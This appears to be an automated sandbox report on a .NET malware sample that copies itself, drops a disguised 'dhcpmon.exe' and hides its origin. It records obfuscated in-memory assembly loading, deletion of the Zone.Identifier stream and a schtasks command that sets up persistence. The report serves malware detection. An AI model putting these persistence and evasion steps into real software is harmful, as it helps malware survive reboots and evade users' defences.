Source: 4.2.FYrMKmDjFi.exe.400000.0.unpack, u0023u003dqxoz66kOqvxr21iYXZYXWiumy9eZGwFWaiX4C5X8aecUu003d.cs	.Net Code: #=qKU0J1fiP8KA33eFK1owekQ== System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.2.FYrMKmDjFi.exe.bc0000.1.unpack, Godlike.cs	.Net Code: get_assembly System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 4.0.FYrMKmDjFi.exe.bc0000.0.unpack, Godlike.cs	.Net Code: get_assembly System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 9.0.FYrMKmDjFi.exe.90000.0.unpack, Godlike.cs	.Net Code: get_assembly System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 9.2.FYrMKmDjFi.exe.90000.0.unpack, Godlike.cs	.Net Code: get_assembly System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: dhcpmon.exe.10.dr, Godlike.cs	.Net Code: get_assembly System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 10.2.dhcpmon.exe.ac0000.0.unpack, Godlike.cs	.Net Code: get_assembly System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 10.0.dhcpmon.exe.ac0000.0.unpack, Godlike.cs	.Net Code: get_assembly System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 12.2.FYrMKmDjFi.exe.400000.0.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	.Net Code: #=q_FL69pQf17BUSAFbWYu1SStMAbdu$R1GJ8VY8UL5_EA= System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 12.2.FYrMKmDjFi.exe.400000.0.unpack, u0023u003dqxoz66kOqvxr21iYXZYXWiumy9eZGwFWaiX4C5X8aecUu003d.cs	.Net Code: #=qKU0J1fiP8KA33eFK1owekQ== System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 12.2.FYrMKmDjFi.exe.d80000.1.unpack, Godlike.cs	.Net Code: get_assembly System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 12.0.FYrMKmDjFi.exe.d80000.0.unpack, Godlike.cs	.Net Code: get_assembly System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 13.2.dhcpmon.exe.260000.0.unpack, Godlike.cs	.Net Code: get_assembly System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 13.0.dhcpmon.exe.260000.0.unpack, Godlike.cs	.Net Code: get_assembly System.Reflection.Assembly System.AppDomain::Load(System.Byte[])

Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Code function: 10_2_011E83C0 push es; ret
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Code function: 13_2_00CA2FB0 push C301EB10h; ret

Source: FYrMKmDjFi.exe

Static PE information: 0xA3F46BEC [Thu Mar 1 20:37:00 2057 UTC]

Source: 4.2.FYrMKmDjFi.exe.400000.0.unpack, u0023u003dqJT4I5hOweIku0024xYFEeDszbikglXCuquUdu0024v9AXtyq2nsu003d.cs	High entropy of concatenated method names: '#=qBeOBlH6CwHFnQdZWWBgZ_pemudZ6CfCVcfOQtgpeG$Y=', '#=q5v5cLSMFBaxiTtOEjscx86gN2ozXlfytiL6UmXnyWtg=', '#=q_XA5h2lVGHLcY9dK754wKGrOjAm6aBbwPxcUJXgJThJUz83kMbCL53G5uuOLP6Rq', '#=qIFfr$DrKqIieRc688$vylAlBsEnx9Z3$TxvrDsPURfM=', '#=qejgvNXJQvgM2GomZsygLjreyguSPQ29pQHqjR_a0dWk=', '#=qCGokdf0OOxeMJLDkXSfc3NPmwygIQ29RjKQWj$wbNGB9C1pPgma_891QiNyTRXcA', '#=qDqyUVyJLXCtYqhZ0$opqkomqhUBn2WCeEEvGAXlNQ$I=', '#=qdImPAY1o3YhbLtukwCQ91cISaeIEWRKSYrGZ3dTVnkY=', '#=qza7O1AHrroJC7yRIJz4wINR_Sgo4hDpQrj_OYfIrlJE=', '#=q6Ct3QmvVLFC7my$dL1uEiHGmXJ5qCuK4WIhDwfhPTFs='
Source: 4.2.FYrMKmDjFi.exe.400000.0.unpack, u0023u003dqWrm21vQ8CBMZP_RBTwpusAu003du003d.cs	High entropy of concatenated method names: '#=qCgU$tDqtOAyz2b$RwfSF7UzBcCAr0rFJWxm16x7Lre0=', '#=qeD3MBfedCIuKIQf9V1u2N3YS4VXE_FOHqw_XAjWtZK8=', '#=q$mvEHEBkZud$AdHPWqsMQnw5Xm5sD4vBSSmqrKuXGOk=', '#=qZaN94n8dM6tBEf$qCdY2kbTZb5BOW8Z134$2tNv7EJs=', '#=qtlZnL8mho$rv1eTFz0Mw9UYFC_yCabEZ0xtVePn6wR5aSHE7ti3UfKg2l7D0_xk8', '#=qVS$QmQjvFfsXSqQAKGSl6HGbkse2SG0XCab4upVjtRJkvhTEk$oIS2I9Zja7id1Q', '#=qxJg7RxTW1v5mnt12xXeJiYJv_bcctbtL2BCD5MjDi45Hlz6t8vwDNTv1Rv7tgIct', '#=qp$ZVC1r9spi890l$D7IwEd3faoKeWHvv42mVq8wIIWM=', '#=qCoWHlVuoVRMkOzC7RZubJCslkxaEWn9yZiIydECf69$ktj0IPD5wAwC2H5Cc8C$L', '#=qqs1moO$mYaS72OXOWe0Z6GycslEb6e9Ipoy7ppW0O5abIp05ajv8doqdJZHlN3cK'
Source: 12.2.FYrMKmDjFi.exe.400000.0.unpack, u0023u003dqJT4I5hOweIku0024xYFEeDszbikglXCuquUdu0024v9AXtyq2nsu003d.cs	High entropy of concatenated method names: '#=qBeOBlH6CwHFnQdZWWBgZ_pemudZ6CfCVcfOQtgpeG$Y=', '#=q5v5cLSMFBaxiTtOEjscx86gN2ozXlfytiL6UmXnyWtg=', '#=q_XA5h2lVGHLcY9dK754wKGrOjAm6aBbwPxcUJXgJThJUz83kMbCL53G5uuOLP6Rq', '#=qIFfr$DrKqIieRc688$vylAlBsEnx9Z3$TxvrDsPURfM=', '#=qejgvNXJQvgM2GomZsygLjreyguSPQ29pQHqjR_a0dWk=', '#=qCGokdf0OOxeMJLDkXSfc3NPmwygIQ29RjKQWj$wbNGB9C1pPgma_891QiNyTRXcA', '#=qDqyUVyJLXCtYqhZ0$opqkomqhUBn2WCeEEvGAXlNQ$I=', '#=qdImPAY1o3YhbLtukwCQ91cISaeIEWRKSYrGZ3dTVnkY=', '#=qza7O1AHrroJC7yRIJz4wINR_Sgo4hDpQrj_OYfIrlJE=', '#=q6Ct3QmvVLFC7my$dL1uEiHGmXJ5qCuK4WIhDwfhPTFs='
Source: 12.2.FYrMKmDjFi.exe.400000.0.unpack, u0023u003dqWrm21vQ8CBMZP_RBTwpusAu003du003d.cs	High entropy of concatenated method names: '#=qCgU$tDqtOAyz2b$RwfSF7UzBcCAr0rFJWxm16x7Lre0=', '#=qeD3MBfedCIuKIQf9V1u2N3YS4VXE_FOHqw_XAjWtZK8=', '#=q$mvEHEBkZud$AdHPWqsMQnw5Xm5sD4vBSSmqrKuXGOk=', '#=qZaN94n8dM6tBEf$qCdY2kbTZb5BOW8Z134$2tNv7EJs=', '#=qtlZnL8mho$rv1eTFz0Mw9UYFC_yCabEZ0xtVePn6wR5aSHE7ti3UfKg2l7D0_xk8', '#=qVS$QmQjvFfsXSqQAKGSl6HGbkse2SG0XCab4upVjtRJkvhTEk$oIS2I9Zja7id1Q', '#=qxJg7RxTW1v5mnt12xXeJiYJv_bcctbtL2BCD5MjDi45Hlz6t8vwDNTv1Rv7tgIct', '#=qp$ZVC1r9spi890l$D7IwEd3faoKeWHvv42mVq8wIIWM=', '#=qCoWHlVuoVRMkOzC7RZubJCslkxaEWn9yZiIydECf69$ktj0IPD5wAwC2H5Cc8C$L', '#=qqs1moO$mYaS72OXOWe0Z6GycslEb6e9Ipoy7ppW0O5abIp05ajv8doqdJZHlN3cK'

Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	File created: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	File created: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	File created: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Jump to dropped file

Boot Survival:

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe

Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmp563.tmp'

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe

File opened: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe:Zone.Identifier read attributes | delete

Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
